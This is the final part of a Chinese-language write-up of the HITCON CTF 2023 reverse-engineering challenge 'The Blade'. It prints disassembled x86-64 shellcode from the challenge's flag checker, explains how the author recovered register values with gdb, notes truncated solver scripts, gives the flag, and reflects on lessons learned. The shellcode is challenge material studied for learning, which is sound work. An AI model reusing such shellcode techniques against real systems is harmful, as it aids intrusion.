5b: 48 ba a3 32 f6 16 f9 88 c8 0e movabs rdx, 0xec888f916f632a3
65: 48 31 d1 xor rcx, rdx
68: 51 push rcx
69: 54 push rsp
6a: 5f pop rdi
6b: 6a 02 push 0x2
6d: 58 pop rax
6e: 99 cdq
6f: 0f 05 syscall
71: 48 97 xchg rdi, rax
73: 31 c0 xor eax, eax
75: 50 push rax
76: 54 push rsp
77: 5e pop rsi
78: 6a 04 push 0x4
7a: 5a pop rdx
7b: 0f 05 syscall
7d: 41 5d pop r13
7f: 6a 03 push 0x3
81: 58 pop rax
82: 0f 05 syscall
84: 31 f6 xor esi, esi
86: 6a 6f push 0x6f
88: 48 b9 59 e5 06 0c 2d f6 d9 77 movabs rcx, 0x77d9f62d0c06e559
92: 48 ba 76 81 63 7a 02 8c bc 05 movabs rdx, 0x5bc8c027a638176
9c: 48 31 d1 xor rcx, rdx
9f: 51 push rcx
a0: 54 push rsp
a1: 5f pop rdi
a2: 6a 02 push 0x2
a4: 58 pop rax
a5: 99 cdq
a6: 0f 05 syscall
a8: 48 97 xchg rdi, rax
aa: 31 c0 xor eax, eax
ac: 50 push rax
ad: 54 push rsp
ae: 5e pop rsi
af: 6a 04 push 0x4
b1: 5a pop rdx
b2: 0f 05 syscall
b4: 58 pop rax
b5: 48 f7 d0 not rax
b8: 48 c1 e8 1d shr rax, 0x1d
bc: 48 99 cqo
be: 6a 29 push 0x29
c0: 59 pop rcx
c1: 48 f7 f1 div rcx
c4: 49 96 xchg r14, rax
c6: 6a 03 push 0x3
c8: 58 pop rax
c9: 0f 05 syscall
cb: b8 ef be ad de mov eax, 0xdeadbeef
d0: 44 01 e0 add eax, r12d
d3: 44 31 e8 xor eax, r13d
d6: c1 c8 0b ror eax, 0xb
d9: f7 d0 not eax
db: 44 31 f0 xor eax, r14d
de: 3d ef be ad de cmp eax, 0xdeadbeef
e3: 75 05 jne 0xea
e5: 6a 01 push 0x1
e7: 58 pop rax
e8: eb 03 jmp 0xed
ea: 48 31 c0 xor rax, rax
ed: 50 push rax
ee: 53 push rbx
ef: 5f pop rdi
f0: 54 push rsp
f1: 5e pop rsi
f2: 6a 08 push 0x8
f4: 5a pop rdx
f5: 6a 01 push 0x1
f7: 58 pop rax
f8: 0f 05 syscall
fa: 55 push rbp
fb: 5c pop rsp
fc: 41 ff e7 jmp r15
- 分析 shellcode
- 0xdeadbeef is not 0xdeadbeef觀察 shellcode 可以看到總共有兩個地方出現了 0xdeadbeef,但其實從 ida 看後續行為可以發現它其實是把第一個 0xdeadbeef 改成我們處理過後的 input,然後第二個放成一個特定的值。
1
2cb: b8 ef be ad de mov eax, 0xdeadbeef
de: 3d ef be ad de cmp eax, 0xdeadbeef - 主要行為:
1 | # 設定 r12 |
理解後目標就很明確了,我們只需要找出那三個暫存器的值就可以拿到 flag 了!
至於怎麼找值有很多方式,列出一些給大家參考:
- 如果夠猛,可以直接靜態分析出來,但這有點硬 XD,推薦後面兩種。
- 另外一種是模仿剛剛用來模擬 clinet 的 shellcode,再配合 ida 的 remote linux debugger 動態分析。
- 當然直接用 gdb 分析也可以。
這邊選擇第三種,用 gdb 來分析。先 break main
之後走到 main,然後設定 watch $r12
、watch $r13
、watch $r14
完 continue
,就可以依序看到三個暫存器被設定:
1 | r12 = 0x464C457F |
從 ida 取出要比較的常數:
把他轉成 uint32 方便待會的操作:
驗算一下也確實是 64 bytes。
0x4 Exploits
generator.py
1 | # ===== Part 1: Swap mapping table ===== |
exploit.py
1 | import numpy as np |
- flag:
hitcon{<https://soundcloud.com/monstercat/noisestorm-crab-rave>}
flag 是一串網址,感覺有點像是迷因 XD,有興趣可以去聽看看~
0x5 Summary
解這題和寫 writeup 其實花了不少時間,以下是一些心得和學到的教訓:
找指令的不同思路:
這題在分析的思路上算是蠻線性的,基本上要分析的也只有verify()
跟一點點prompt()
,不過看到有其他高手用strings
直接找到 flag-checker 的指令很不可思議,下次也會從這邊切入嘗試,也許能省下不少時間。型別轉換:
在建映射表還有寫 exploit 的時候,型別轉換都蠻困擾我的,往往是執行後才發現有問題,也吃了一點時間在 debug,不過這就是經驗不足,講出來就是要再扁自己一次,熟悉後寫 script 的效率想必也會提升不少,就更有機會在時間內解出這種麻煩的題目了。敗筆:
verify()
前面處理 input 的部分從靜態分析都能夠大概看出來,但後面寫入 255 bytes 的 shellcode 沒有意識到,雖然有發現寫入了一些 bytes 但沒有轉成 assembly 就很難猜到他後面在幹嘛,不過有經驗後下次就會把這個可能考慮進去,解出來後面就蠻順利了。發現好用的新工具:
在建立加密映射表的時候覺得輸入的重複性很高,就查了一下 GDB 有 python API 可以用,未來感覺也可以應用在不少場境。更頻繁地使用動態分析:
我發現自己寫逆向題的時候用動態分析的比例都明顯下降了不少,但動態分析有時候真的會省下不少麻煩,有些情況下甚至是必要的,尤其像是 Rust 的題目更是如此,未來也會更頻繁的搭配動態分析去增加自己逆向的效率。練習的方向:
這次也有發現寫 HITCON CTF 的題目雖然花時間,但確實會學到不少東西,近期也開始有在寫 pwnable.tw 的題目,希望能透過難題逼自己脫離舒適圈,然後成長得更快。
0x6 References
HITCON 2023 – The Blade
hitcon2023逆向 The Blade WP
Hitcon 2023 Blade WP
- Title: HITCON-CTF-2023 Full Chain - The Blade Writeup
- Author: kazma
- Created at : 2024-02-19 01:44:30
- Updated at : 2024-03-25 04:59:51
- Link: https://kazma.tw/2024/02/19/HITCON-CTF-2023-Full-Chain-The-Blade-Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.